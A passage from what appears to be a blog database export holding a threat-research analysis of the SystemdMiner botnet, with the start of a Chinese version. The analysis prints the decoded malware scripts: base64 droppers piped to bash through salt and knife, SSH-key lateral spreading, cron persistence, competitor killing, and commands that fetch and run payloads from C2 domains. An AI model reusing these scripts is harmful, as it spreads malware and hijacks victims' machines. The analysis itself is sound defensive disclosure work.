ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'\n fi\n if [ -x $(command -v salt) ]; then\n salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'\n fi\n if [ -x $(command -v knife) ]; then\n knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'\n fi\n if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then\n hosts=$(grep -oE \"\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b\" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)\n for h in $hosts;do xssh root $h; xssh $USER $h & done\n fi\n}\n\ns1 rapid7cpfqnwxodo.tor2web.fyi\ns2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net\ns3\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nc() {\n if [ -x $(command -v crontab) ]; then\n if [ $(crontab -l |grep REDIS00) ]; then\n crontab -r\n fi\n if ((!EUID)); then\n if [ ! -f \"/etc/cron.d/systemd\" ]; then\n echo \"0 * * * * root /lib/systemd/systemd-login\" > /etc/cron.d/systemd\n fi\n if [ ! $(crontab -l |grep systemd-login) ]; then\n (echo \"0 * * * * ~/.systemd-login\";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -\n fi\n else\n if [ ! $(crontab -l |grep systemd-login) ]; then\n (echo \"0 * * * * ~/.systemd-login\";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -\n fi\n fi\n fi\n}\n\nc\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\npkill -9 -f \"8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0\"\n\nfind ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg\nfind /etc/cron*|xargs chattr -i\nfind /var/spool/cron*|xargs chattr -i\ngrep -RE \"(wget|curl)\" /etc/cron.*|cut -f 1 -d :|xargs rm -f\ngrep -RE \"(wget|curl)\" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget\\|curl/d'\nrm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nd() {\n x=/systemd-analyze\n y=/tmp/.systemd-analyze\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n sleep 6\n}\n\nif ! ps -p $(cat /tmp/.X11-lock); then\n d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net\nfi\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nd() {\n x=/systemd-login\n y=/tmp/.systemd-login\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n sleep 5\n}\n\nu() {\n x=/systemd.sh\n (wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash\n}\n\n\nif [ -f /tmp/.systemd-update ]; then\n kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update\n d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi\nfi\n\nu rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/scan_yarn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2019/04/scan_yarn_pcap.png","alt":"","title":"scan_yarn_pcap"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/yarn_exp.png","alt":"","title":"yarn_exp"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nd() {\n x=/systemd-login-h\n y=/tmp/systemd\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n}\n\nif ! ps -p $(< /tmp/.X1M-unix); then\n d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io\nfi\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\nd() {\n x=/systemd-analyze\n y=/tmp/.systemd-analyze\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n sleep 6\n}\n\nif ! ps -p $(cat /tmp/.X11-lock); then\n d rapid7cpfqnwxodo.d2web.org\nfi\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/xmrig_str.png","alt":"","title":"xmrig_str"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/miner_conf.png","alt":"","title":"miner_conf"}],["code",{"code":"aptgetgxqs3secda.onion.ly\naptgetgxqs3secda.onion.pet\naptgetgxqs3secda.tor2web.fyi\naptgetgxqs3secda.onion.in.net\naptgetgxqs3secda.onion.mn\naptgetgxqs3secda.d2web.org\nrapid7cpfqnwxodo.tor2web.fyi\nrapid7cpfqnwxodo.onion.in.net\nrapid7cpfqnwxodo.onion.ly\nrapid7cpfqnwxodo.onion.pet\nrapid7cpfqnwxodo.onion.mn\nrapid7cpfqnwxodo.d2web.org\n"}],["code",{"code":"64315b604bd7a4b2886bba0e6e5176be\ndd8202ac5e6a2f6c8638116aa09694d7\n45e4d4671efcd1d9e502359c2fbbd6eb\naa83345c8cc3e7b41709f96bfb9844f8\n9f3edaa64e912661cd03f1aa9d342162\naa83345c8cc3e7b41709f96bfb9844f8\n4215f6306caa3b216295334538cad257\n50da2fb3920bfedfeb9e3a58ca008779\nceaee3da774cc712dc735d38194b396e\n8d9f26cd8358dce9f44ee7d30a96793f\n4bff1a92e6adcfe48c8b0f42b21a5af6"}]],"markups":[["strong"],["a",["href","__GHOST_URL__/fast-analyze-ddg-v3021-and-v3022/"]],["code"],["a",["href","__GHOST_URL__/ddg-botnet-a-frenzy-of-updates-before-chinese-new-year-2/"]],["a",["href","https://www.musl-libc.org/"]]],"sections":[[1,"h2",[[0,[0],1,"Update(2019.4.26 17:30)"]]],[1,"p",[[0,[],0,"About 3 hours after the release of this article, we found that the attacker took down the URL of some Payload downloads, the following URL has expired:"]]],[10,0],[1,"h2",[[0,[0],1,"1. Overview"]]],[1,"p",[[0,[],0,"On Apr 11, we published a threat update on the DDG.Mining Botnet "],[0,[0,1],2,"here"],[0,[],0," with the following active C2:"]]],[10,1],[1,"p",[[0,[],0,"Then in the early morning of 2019.4.19, we found that DDG updated its configuration data and the malicious shell script "],[0,[0],1,"i.sh"],[0,[],0," from this C2. And at the end of the i.sh script, a new shell script section was added."]]],[1,"p",[[0,[],0,"The new shell script downloads a new set of malicious programs, interestingly, these new programs run independently from the DDG infrastructure. And it also kills the DDG process and clears out the DDG cron configuration."]]],[1,"p",[[0,[],0,"Shortly after these new malicious programs appear , the above-mentioned main DDG C2 went offline."]]],[1,"p",[[0,[],0,"We named this new botnet "],[0,[0],1,"SystemdMiner"],[0,[],0,", as multiple components of this malicious programs use "],[0,[2],1,"systemd-<XXX>"],[0,[],0," as their names."]]],[1,"p",[[0,[],0,"This botnet uses three means to spread itself, and after a successful compromise, a mining program based on XMRig will be downloaded for profit making."]]],[1,"p",[[0,[],0,"Although the above-mentioned main DDG C2 came offline, the DDG botnet did not die. Thanks to its P2P network structure and two standby C2s, the DDG botnet is still alive, with 3000+ active P2P Nodes per day."]]],[1,"p",[[0,[],0,"In the early morning of 4.25, DDG came back online with 2 new C2s and upgraded its version number to v4000. The configuration data version is "],[0,[0],1,"CfgVer:25"],[0,[],0," . This latest update blocks the SystemdMiner’s C2 in the hosts file, and starts to use the following 2 new C2s:"]]],[10,2],[1,"p",[[0,[0],1,"SystemdMiner"],[0,[],0," is completely different from DDG in terms of C2 infrastructure, network structure, malicious code technical details, propagation methods, cryptomining machine programs, etc.:"]]],[3,"ul",[[[0,[],0,"The DDG infrastructure consists of one primary C2 IP and two or three standby C2 IPs, while the SystemdMiner infrastructure is in dark network and make them accessible through services like tor2web (and cryptominging pool proxy IP) ;"]],[[0,[],0,"The current network structure of DDG is a hybrid structure--a combination of a set of C2 IPs and "],[0,[3],1,"P2P network"],[0,[],0,", and the network structure of SystemdMiner is a traditional "],[0,[0],1,"C/S"],[0,[],0," structure;"]],[[0,[],0,"The main sample of DDG is written in Go language. It has been the same since its birth. It runs with a malicious shell script i.sh. The main binary samples of SystemdMiner is written in C language. The implementation details and other details of the code are also completely different;"]],[[0,[],0,"DDG's current binary samples are all packed with standard UPX packer, while systemdMiner's binary samples packed with morphed UPX packer with no intuitive UPX features;"]],[[0,[],0,"The DDG is mainly spread by using SSH weak passwords and Redis unauthorized access vulnerabilities. SystemdMiner uses the following means;YARN's unauthorized access vulnerability;Use the *nix automated operation and maintenance tool (salt / ansible / chef-knife) for horizontal propagation;Propagating itself with the SSH key saved locally once it has access to a target host."]],[[0,[],0,"DDG's cryptominer program was compiled directly from XMRig, without packed, and XMR Wallet was hard coded in the cryptominer program. The SysmtedMiner cryptominer program made significant changes to the XMRig source code, packed with a morphed UPX packer, and did not expose XMR Wallet."]]]],[1,"p",[[0,[0],1,"SystemdMiner"],[0,[],0,"’s main components:"]]],[3,"ul",[[[0,[0],1,"systemd-login-ddg"],[0,[],0," ,"],[0,[0],1,"ddgs.i686"],[0,[],0,", "],[0,[0],1,"ddgs.x86_64"],[0,[],0,", "],[0,[0],1,"systemd-login"],[0,[],0,", "],[0,[0],1,"systemd-login-h"],[0,[],0," : these are the main samples, to set up tasks, horizontally propagate and download other samples and execute;"]],[[0,[0],1,"cron.sh"],[0,[],0," : to periodically download and execute the main samples;"]],[[0,[0],1,"systemd.sh"],[0,[],0," : to update the main sample and cryptominer program;"]],[[0,[0],1,"systemd-resolve"],[0,[],0," : exploit YARN unauthorize access vulnerabilities to spread itself horizontally;"]],[[0,[0],1,"systemd-analyze"],[0,[],0," : cryptominer program."]]]],[1,"p",[[0,[],0,"The systemdMiner’s real C2 servers are set up in the dark network and are mapped to the public network through a set of services like tor2web."]]],[1,"p",[[0,[],0,"The following diagram shows dns requests trends for the C2 Domains of systemdMiner from our DNSMon:"]]],[10,3],[1,"h2",[[0,[0],1,"2. DDG's last config data and i.sh before v4000"]]],[1,"p",[[0,[0],1,"config data"],[0,[],0,":"]]],[10,4],[1,"p",[[0,[],0,"And the last "],[0,[0],1,"i.sh"],[0,[],0," before ddg.v4000 :"]]],[10,5],[1,"p",[[0,[],0,"Note the last Base64-encoded string in the "],[0,[0],1,"i.sh"],[0,[],0," script, which is decoded as a separate stand-alone shell script:"]]],[10,6],[1,"p",[[0,[],0,"This Shell script first checks the process ID in the "],[0,[2],1,"/tmp/.X1M-unix"],[0,[],0," , if the file does not exist or process is not running, it then attempts to download and run "],[0,[0],1,"systemd-login-ddg"],[0,[],0," through the following URLs :"]]],[10,7],[1,"p",[[0,[],0,"In addition, in the i.sh script, the DDG download files in the URL "],[0,[2],1,"hxxp://119.9.106.27:8000/static/3022/ddgs.$(uname -m)"],[0,[],0," is also replaced with the following "],[0,[0],1,"SystemdMiner"],[0,[],0,"’s own programs. Thus, there are 3 "],[0,[0],1,"SystemdMiner"],[0,[],0,"'s malicious programs was downloaded to DDG's bot through this propagation:"]]],[3,"ul",[[[0,[],0,"systemd-login-ddg"]],[[0,[],0,"ddgs.i686"]],[[0,[],0,"ddgs.x86_64"]]]],[1,"h2",[[0,[0],1,"3. SystemdMiner sample analysis"]]],[1,"h3",[[0,[0],1,"3.1 Systemd-login-ddg"]]],[1,"p",[[0,[0],1,"systemd-login-ddg"],[0,[],0," is one of the core files, the other four ddgs.i686, ddsg.x86_64, system-login, system-login-h are "],[0,[0],1,"systemd-login-dd"],[0,[],0,"g variants."]]],[1,"p",[[0,[],0,"All binary samples related to SystemdMiner are compiled from "],[0,[0,4],2,"musl-libc"],[0,[],0," . And packed with deformed UPX, the Magic Number of the deformed UPX packer is "],[0,[0],1,"0x7373622E"],[0,[],0," (ASCII String: "],[0,[0,2],2,".bss"],[0,[],0,") :"]]],[10,8],[1,"p",[[0,[],0,"After unpacking, all the binary malicious program checks "],[0,[0],1,"LD_PRELOAD"],[0,[],0," and "],[0,[0],1,"PTRACE_TRACEME"],[0,[],0," for anti-debugging and anti-sandboxing:"]]],[10,9],[1,"p",[[0,[],0,"Then, "],[0,[0],1,"systemd-login-ddg"],[0,[],0," deletes itself, creating the daemon process and writing the process ID into "],[0,[2],1,"/tmp/.X1M-unix"],[0,[],0,", the process name is "],[0,[2,0],2,"-bash"],[0,[],0,":"]]],[10,10],[1,"p",[[0,[],0,"Next, systemd-login-ddg writes the following script into the "],[0,[2],1,"/tmp/systemd"],[0,[],0,":"]]],[10,11],[1,"p",[[0,[],0,"The Base64-encoded string in the above script is decoded as follows:"]]],[10,12],[1,"p",[[0,[],0,"If the current user is "],[0,[0],1,"root"],[0,[],0," , the sample will also check directory "],[0,[2],1,"/lib/systemd/"],[0,[],0," , and execute the command "],[0,[2],1,"cp -f /tmp/systemd /lib/systemd/systemd-login"],[0,[],0," so it gets executed when the system starts."]]],[1,"p",[[0,[],0,"Then, "],[0,[2],1,"mv -f /tmp/systemd ~/.systemd-login"],[0,[],0," , to move and hide the systemd file to the user's home directory."]]],[1,"p",[[0,[],0,"The script file used to boot and execute the above "],[0,[2],1,"/lib/systemd/systemd-login"],[0,[],0," downloads a "],[0,[0],1,"cron.sh"],[0,[],0," file from the C2 server."]]],[1,"p",[[0,[0],1,"cron.sh"],[0,[],0," is a highly obfuscated shell script with the following contents:"]]],[10,13],[1,"p",[[0,[],0,"The real content after de-obfuscation:"]]],[10,14],[1,"p",[[0,[],0,"Finally, "],[0,[0],1,"systemd-login-ddg"],[0,[],0," continues to execute a series of Base64-encoded shell scripts."]]],[1,"h4",[[0,[0],1,"3.1.1 Shell Script 1: Report to C2 and use automated operation and maintenance tools to spread"]]],[1,"p",[[0,[],0,"The original script is Base64 encoded and decoded as follows:"]]],[10,15],[1,"p",[[0,[],0,"The script has three key functions, which are:"]]],[3,"ol",[[[0,[0],1,"S1()"],[0,[],0," : Report compromised host information to "],[0,[2],1,"rapid7cpfqnwxodo.tor2web.fyi/slave"],[0,[],0,". To send back the current user name, CPU architecture, host name, and current user's cron table. After Base64 encoding, set these host information as the http-referer vaule and sent as an HTTP GET requests to C2;"]],[[0,[0],1,"S2()"],[0,[],0," : Download the "],[0,[0],1,"systemd-resolve"],[0,[],0," file from C2 and execute it. System-resolve integrates the Exp of YARN's unauthorized access vulnerability;"]],[[0,[0],1,"S3()"],[0,[],0," : Horizontal propagation using 3 *nix automated operation and maintenance tools (ansible/salt/chef-knife) and local SSH keys."]]]],[1,"h4",[[0,[0],1,"3.1.2 Shell Script 2: Setting up a cron task"]]],[1,"p",[[0,[],0,"The shell script used for horizontal propagation is also Base64 encoded and decoded as follows:"]]],[10,16],[1,"p",[[0,[],0,"The main function of the script is to setup a new cron file "],[0,[2],1,"/etc/cron.d/system"],[0,[],0," to run "],[0,[2],1,"/lib/systemd/systemd-login"],[0,[],0," , the outcome of "],[0,[0],1,"systemd-login-ddg"],[0,[],0,". The wget and curl commands in the current user cron table are cleared to kill competitors' scheduled tasks."]]],[1,"h4",[[0,[0],1,"3.1.3 Shell Script 3: Killing Competitors"]]],[1,"p",[[0,[],0,"The original script is also Base64 encoded and decoded as follows:"]]],[10,17],[1,"p",[[0,[],0,"The function of this script is to remove various competitors."]]],[1,"h4",[[0,[0],1,"3.1.4 Shell Script 4: Download and execute the cryptominer"]]],[1,"p",[[0,[],0,"The original script is Base64 encoded and decoded as follows:"]]],[10,18],[1,"p",[[0,[],0,"To download and execute "],[0,[0],1,"system-analyze"],[0,[],0," from "],[0,[2],1,"rapid7cpfqnwxodo.tor2web.fyi"],[0,[],0," or "],[0,[2],1,"rapid7cpfqnwxodo.tor2web"],[0,[],0," . systemd-analyze is a mining program based on XMRig."]]],[1,"h4",[[0,[0],1,"3.1.5 Shell Script 5: Update Samples and Malicious Shell Scripts"]]],[1,"p",[[0,[],0,"The original script is Base64 encoded and decoded as follows:"]]],[10,19],[1,"p",[[0,[0],1,"systemd-login-ddg"],[0,[],0," uses this script to check the sample update flag file "],[0,[2],1,"/tmp/.systemd-updateand"],[0,[],0," and download the latest "],[0,[0],1,"systemd-login"],[0,[],0," sample accordingly. The latest malicious shell script, "],[0,[0],1,"systemd.sh"],[0,[],0," is then downloaded and executed."]]],[1,"p",[[0,[],0,"Next, "],[0,[0],1,"systemd-login-ddg"],[0,[],0," executes the sixth shell script. The sixth shell script is basically the same as the fifth one, except that there is one more C2 Domain to download the "],[0,[0],1,"systemd-login"],[0,[],0," sample: "],[0,[2],1,"rapid7cpfqnwxodo.tor2web.io"],[0,[],0,"."]]],[1,"h3",[[0,[0],1,"3.2 Systemd-resolve"]]],[1,"p",[[0,[],0,"As mentioned earlier, "],[0,[0],1,"systemd-resolve"],[0,[],0," integrates YARN's unauthorized access vulnerability to spred to other hosts horizontally. It is very similar to systemd-login-ddg , except that its daemon is named "],[0,[0,2],2,"-rbash"],[0,[],0," ."]]],[1,"p",[[0,[],0,"The sample is mainly used for internal network propagation targeting "],[0,[2],1,"172.16.0.0/12"],[0,[],0,", "],[0,[2],1,"192.168.0.0/16"],[0,[],0," and "],[0,[2],1,"10.0.0.0/8"],[0,[],0,". The sample first checks the "],[0,[0],1,"LAN_IP"],[0,[],0," of the current host, whether it belongs to the above three intranet segments:"]]],[10,20],[1,"p",[[0,[],0,"If the current host's LAN_IP belongs to the above three network segments, the sample checks the "],[0,[0],1,"8088"],[0,[],0," ports of each host on the network:"]]],[10,21],[1,"p",[[0,[],0,"For the right target host, to use the following Payload to propagate itself:"]]],[10,22],[1,"p",[[0,[],0,"The shell script in Payload is also Base64 encoded and decoded as follows:"]]],[10,23],[1,"p",[[0,[],0,"We can see that "],[0,[0],1,"systemd-login-h"],[0,[],0," will be downloaded and executed. This systemd-login-h function is the same as the systemd-login-ddg analyzed above."]]],[1,"h3",[[0,[0],1,"3.3 Systemd.sh"]]],[1,"p",[[0,[],0,"As mentioned earlier, "],[0,[0],1,"systemd-login-ddg"],[0,[],0," downloads "],[0,[0],1,"systemd.sh"],[0,[],0," and executes it in the fifth shell script. In the early days of our analysis of the SystemdMiner family, this "],[0,[0],1,"systemd.sh"],[0,[],0," script had no substantive content:"]]],[10,24],[1,"p",[[0,[],0,"At around noon at 2019.4.23, the attacker officially put the systemd.sh online, the latest systemd.sh content:"]]],[10,25],[1,"p",[[0,[],0,"Thus its purpose is to download "],[0,[0],1,"systemd-analyze"],[0,[],0," and execute it."]]],[1,"h3",[[0,[0],1,"3.4 Systemd-analyze"]]],[1,"p",[[0,[],0,"As mentioned above, SystemdMiner's current profit method is cryptomining, and the cryptominer program that ultimately undertakes this task is this "],[0,[0],1,"systemd-analyze"],[0,[],0,". The program also has the same methods of anti-analysis as SystemdMiner's other binaries, except that it names its own process as a 6-bytes random string of uppercase and lowercase letters and numbers. XMRig related string in the miner program:"]]],[10,26],[1,"p",[[0,[],0,"The cryptomining pool (Or Proxy) is under the attacker's own control. The mining account, password and Or Proxy used are as follows:"]]],[10,27],[1,"p",[[0,[],0,"The corresponding IPs belongs to normal company or organization, most likey hacked hosts."]]],[1,"p",[[0,[],0,"DomainDNS Recorde TypeIPRemarkpol-ice.ruA5.167.55.128An Ice-cream firm in Ruassiaecosustain.infoA136.243.90.99A project from European Regional Development Fund"]]],[1,"h2",[[0,[0],1,"4. IoCs"]]],[1,"p",[[0,[0],1,"Domains"]]],[10,28],[1,"p",[[0,[0],1,"Md5"],[0,[],0,":"]]],[10,29]],"ghostVersion":"3.0"} | 609618e73819e50007633d33 |
post | null | 2021-05-08T04:53:08.000Z | 63873b9a8b1c1e0007f52fc6 | systemdminer-jie-ji-xia-dan-tong-guo-ddg-chuan-bo-zi-shen | 0 | 2021-05-08T04:54:04.000Z | public | published | null | 2019-04-11T04:53:00.000Z | systemdMiner 借鸡下蛋，通过 DDG 传播自身 | <h2 id="1-"><strong>1. 概述</strong></h2><p>在最近的关于 DDG.Mining.Botnet v3021/v3022 版本的 <a href="__GHOST_URL__/fast-analyze-ddg-v3021-and-v3022/">威胁快讯</a> 一文中，我们提到了 DDG 最近在用的主 C2:</p><pre><code>119.9.106.27 AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China
</code></pre><p>2019.4.19 日凌晨，我们发现 DDG 更新了其配置数据(CfgVer:23)和恶意 Shell 脚本 i.sh，在 i.sh 脚本的最后新增了一段陌生的 Shell 代码，这段 Shell 代码会在失陷主机下载一套全新的恶意程序，之后就会脱离 DDG 的基础设施而独立运行、传播，在执行的过程中还会杀掉 DDG 的进程、清除 DDG 的 cron 配置。这套全新的恶意程序在短暂的传播过后，DDG 的上述主 C2 随即下线停止服务。</p><p>鉴于这一套恶意程序的多个恶意组件均以 <code>systemd-<XXX></code> 的形式命名，我们把它命名为 <strong>systemdMiner</strong> 。<strong>systemdMiner</strong> 的恶意程序具有蠕虫特性，会<strong>利用 3 种手段传播自身</strong>，在入侵失陷主机后，最终会下载基于 XMRig 改写的矿机程序来挖矿牟利。</p><p>在 DDG 上述主 C2 下线期间，DDG 僵尸网络并没有消失。得益于它自身的 P2P 网络结构、其他 2 个备用 C2 和自身的系统驻留机制，DDG 整个僵尸网络还依然存活，每天活跃的 P2P Nodes 有 3000+。</p><p>直到 4.25 凌晨，DDG 才上线了 2 个新的 C2，并把版本号升级到 v4000，恢复如初。配置数据版本为 <strong>CfgVer:25</strong> 。DDG v4000 最新的配置数据中还会下发指令，篡改 hosts 文件，屏蔽 <strong>systemdMiner </strong>的一组 C2 Domain。DDG v4000 的 2 个新 C2:</p><pre><code>109.237.25.145 AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C
104.128.230.16 AS62217|VooServers_Ltd|United States|New York
</code></pre><p><strong>systemdMiner</strong> 在 C2 基础设施、网络结构、恶意代码技术细节、传播方式、矿机程序等诸多方面与 DDG 完全不同：</p><ul><li>DDG 的基础设施由 1 个主 C2 IP 和 2~3 个备用 C2 IP 构成，而 systemdMiner 的基础设施是架设在暗网并通过类似 <strong>tor2web</strong> 的服务映射到公网的一组 C2 Domain 以及矿池(Or Proxy) IP；</li><li>DDG 当前的网络结构是一个非典型的 P2P 网络结构——一组 C2 IP 和典型 P2P 网络结构相结合，而 systemdMiner 的网络结构则是传统的 C/S 结构；</li><li>DDG 的主样本由 Go 语言编写，从诞生至今始终如此，配合一个恶意 Shell 脚本 i.sh 来运行，而 systemdMiner 的主样本都是 C 语言编写，除此之外，二者的主样本在主要功能、实现方式等代码细节方面也完全不同；</li><li>DDG 目前的二进制样本都加了标准 UPX 壳，而 systemdMiner 的二进制样本加的壳都是变形 UPX 壳，没有很直观的 UPX 特征；</li><li>DDG 的传播方式主要是利用 SSH 弱口令和 Redis 未授权访问漏洞来传播，systemdMiner 则有 3 中完全不同的传播手段；</li><li>DDG 的矿机程序由 XMRig 直接编译而来，没有加壳，XMR Wallet 就硬编码在矿机程序中，sysmtedMiner 的矿机程序对 XMRig 源码做了明显改动，加了变形 UPX 壳，还没有暴露 XMR Wallet。</li></ul><p>基于以上原因，我们认为是 <strong>systemdMiner </strong>的团伙入侵了 DDG 的主 C2，并通过 DDG 的基础设施下发了自己的一套恶意程序，我们把这种黑吃黑的行为形容为<strong>借鸡下蛋</strong>。</p><p><strong>systemdMiner</strong> 的 3 种传播手段：</p><ol><li>利用 YARN 未授权访问漏洞入侵主机；</li><li>利用 *nix 自动化运维工具(salt/ansible/chef-knife)横向传播；</li><li>利用失陷主机本地保存的 SSH 密钥传播自身。</li></ol><p><strong>systemdMiner</strong> 这一套恶意程序，涉及的多个二进制程序和 Shell 脚本，下文会一一剖析。各程序简介：</p><ul><li><strong>systemd-login-ddg</strong>: 主样本，设置定时任务，横向传播以及 Download 其他样本并执行；</li><li><strong>ddgs.i686</strong>: 同上；</li><li><strong>ddgs.x86_64</strong>: 同上；</li><li><strong>systemd-login</strong>: 同上；</li><li><strong>systemd-login-h</strong>: 同上；</li><li><strong>cron.sh</strong>: 定时任务执行脚本，定期下载主样本并执行；</li><li><strong>systemd.sh</strong>: 更新主样本和矿机程序；</li><li><strong>systemd-resolve</strong>: 集成 YARN 未授权访问漏洞来横向传播；</li><li><strong>systemd-analyze</strong>: 矿机程序。</li></ul><p><strong>systemdMiner</strong> 真正的 C2 服务器架设在暗网中，并通过一组类似 <strong>tor2web</strong> 的服务映射到公网，来与恶意样本通信。通过 DNSMon 查看 systemdMiner 的几个 C2 Domain 最近的访问趋势如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/dns_trend.png" class="kg-image" alt loading="lazy" title="dns_trend"></figure><h2 id="2-ddg-shell-"><strong>2. DDG “下的蛋”——最后的配置数据和 Shell 脚本</strong></h2><p>DDG 最新的配置数据：</p><pre><code>{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys 